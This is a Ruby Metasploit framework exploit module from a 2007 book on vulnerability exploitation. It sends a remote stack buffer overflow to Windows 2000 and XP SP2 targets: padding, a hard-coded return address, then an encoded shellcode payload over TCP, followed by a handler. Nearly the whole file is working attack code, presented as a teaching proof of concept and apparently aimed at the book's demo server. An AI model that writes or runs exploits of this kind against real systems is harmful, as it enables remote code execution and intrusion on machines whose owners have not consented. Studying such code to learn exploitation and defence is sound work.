#/*****************************************************************************
#      To be the apostrophe which changed "Impossible" into "I'm possible"!
#		
#POC code of chapter 4 in book "Vulnerability Exploit and Analysis Technique"
# 
#file name	: poc.rb
#author		: failwest  
#date		: 2007.4.10
#description	: used as a standard POC demo 
#Noticed	: create a sub directory named "failwest" in the exploit directory
#		  of MSF 3.0. For example, the default directory of exploit is 
#		  "C:\Program Files\Metasploit\Framework3\framework\modules\exploits"
#		  this module should be put into
#		  "C:\Program Files\Metasploit\Framework3\framework\modules\exploits\failwest\"
#version	: 1.0
#E-mail		: failwest@gmail.com
#		
#	Only for educational purposes    enjoy the fun from exploiting :)
#******************************************************************************/
require 'msf/core'
module Msf
class Exploits::Failwest::POC < Msf::Exploit::Remote
include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'failwest_POC',
			'Version'       => '1.0',
			'Platform'	=> 'win',
			'Privileged'	=> true,
			'License'       => MSF_LICENSE,
			'Author'        => 'FAILWEST',
			'Targets'       => [				
						['Windows 2000',  {'Ret' => [200 , 0x77F8948B] }],
						['Windows XP SP2',{'Ret' => [200 , 0x7C914393] }],						
					    ],
			'DefaultTarget' => 0,
							
			'Payload'       => {
						'Space'    => 200,
						'BadChars' => "\x00",
						'StackAdjustment' => -3500,
					    },	
			'Description'    => %q{
						this module is exploit practice of book
						"Vulnerability Exploit and Analysis Technique"
						used only for educational purpose
						},
			'Arch'           => 'x86',
			'References'     => [
                            			[ 'URL', 'http://www.failwest.com' ],
                            			[ 'CVE', '44444' ],
                               		    ],
			'DefaultOptions' => { 'EXITFUNC' => 'process' }                      
                     ))
	end #end of initialize

	def exploit
		connect
		print_status("Sending #{payload.encoded.length} byte payload...")
		buf = 'a'*target['Ret'][0]
		buf << [target['Ret'][1]].pack('V')
		buf <<payload.encoded;
		sock.put(buf)	
		handler
		disconnect
	end  #end of exploit def
end
end